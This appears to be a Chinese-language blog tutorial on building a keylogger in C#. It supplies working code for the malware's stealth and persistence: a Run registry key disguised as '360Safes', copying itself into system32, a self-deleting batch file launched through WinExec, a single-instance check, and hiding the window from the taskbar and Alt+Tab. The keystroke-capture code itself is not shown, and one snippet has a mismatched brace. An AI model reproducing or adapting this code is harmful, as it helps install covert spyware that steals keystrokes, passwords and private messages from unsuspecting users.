C#编写的键盘记录程序备忘
众所周知的原因，C#并不是很适合编写这类特殊的程序。但还是和大家分享一点C#编写一个键盘记录程序的遇到的一些问题，希望对有需要的朋友有所帮助。
一、开机启动
最基本的是开机自启动，简单代码如下：
开机启动项有四个可选也可以同时添加
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
命名空间using Microsoft.Win32;
public void registryRun()
{
try
{
string s = "\""+System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath)+"\"";
RegistryKey key1 = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\run");
key1.SetValue("360Safes",s );
key1.Close();
}
catch { }
}
在注册表开机启动项Run中建立了一个键360Safes（相对隐蔽一点，随意），键值为拷贝到system32的键盘记录程序。
卸载开机启动项：
public void DeleteRun()
{
try
{
RegistryKey key = Registry.LocalMachine;
RegistryKey soft = key.OpenSubKey(@"Software\Microsoft\\Windows\CurrentVersion\run", true);
if (IsRegeditKeyExist(soft, "360Safes"))
{
MessageBox.Show("开机项已删除！");
}
else
{
MessageBox.Show("该开机项不存在");
}
key.Close();
soft.Close();
}
catch { }
}
//判断键值是否存在 有则删除
private bool IsRegeditKeyExist(RegistryKey RegBoot, string RegKeyName)
{
try
{
string[] subkeyNames;
subkeyNames = RegBoot.GetValueNames();
foreach (string keyName in subkeyNames)
{
if (keyName == RegKeyName) //判断键值的名称
{
RegBoot.DeleteValue(keyName);
RegBoot.Close();
return true;
}
}
RegBoot.Close();
return false;
}
catch { return false; }
}
二、首次运行处理
首次运行键盘记录程序有几步操作(以mm.exe代替键盘记录程序)，通过生成的批处理文件删除运行中的程序解决自删除问题。
简要流程：复制自身至system32 → 生成批处理并运行 → 退出程序 → 批处理完成删除程序,启动system32下的程序→ 批处理自删除
1. 判断当前运行程序mm.exe位置，如果不是位于system32文件夹则复制自身
private void MoveFile()
{
try
{
if (!File.Exists(System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath)))
{
File.Move(Application.ExecutablePath, System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath));
}
catch { }
}
2. 生成一个批处理, 执行删除文件操作
批处理里会判断mm.exe是不是存在，如不存在会一直执行删除，可以保证最终删除mm.exe。批处理实现是cmd下执行的一段代码，通过cmd来删除一个bat文件也不会有问题，所以批处理可以进行自删除。
public static void BeginKillSelf()
{
try
{
if (Application.StartupPath != System.Environment.SystemDirectory)
{
string vBatFile = Path.GetDirectoryName(Application.ExecutablePath) + "\\a.bat";
using (StreamWriter vStreamWriter = new StreamWriter(vBatFile, false, Encoding.Default))
{
vStreamWriter.Write(string.Format(
":del\r\n" +
" del \"{0}\"\r\n" +
"if exist \"{0}\" goto del\r\n" +
"start \"\" \"{1}\" \r\n" + //启动system32下的mm.exe
"del %0\r\n", Application.ExecutablePath, System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath)) + // 删除mm.exe
"exit" //退出cmd
);
}
WinExec(vBatFile, 0); Environment.Exit(0);
}
}
catch { }
}
WinExec是Windows API，声明如下：
[DllImport("kernel32.dll")]
public static extern uint WinExec(string lpCmdLine, uint uCmdShow);
3. mm.exe退出程序，批处理得以删除mm.exe
彻底退出程序用
Application.Exit();
4. 批处理运行System32下的mm.exe,再删除自身
三、只允许一个进程实例
启动时检查进程,如果发现程序已经运行则退出
private void RunAProcessAtOnce()
{
System.Diagnostics.Process[] pProcesses = System.Diagnostics.Process.GetProcessesByName(
System.Diagnostics.Process.GetCurrentProcess().ProcessName);
if (pProcesses.Length > 1)
{
Application.Exit();
return;
}
}
四、彻底窗体隐藏
彻底的将窗体隐藏有以下几条：
1. 窗体的ShowInTaskbar属性设为false
WindowState设为启动最小化
FormBordStyle为None
2. 隐藏Alt+Tab里的图标
重载SetVisibleCore
protected override void SetVisibleCore(bool value)
{
base.SetVisibleCore(value);
}
然后在窗体的Load事件写入 SetVisibleCore(false);即可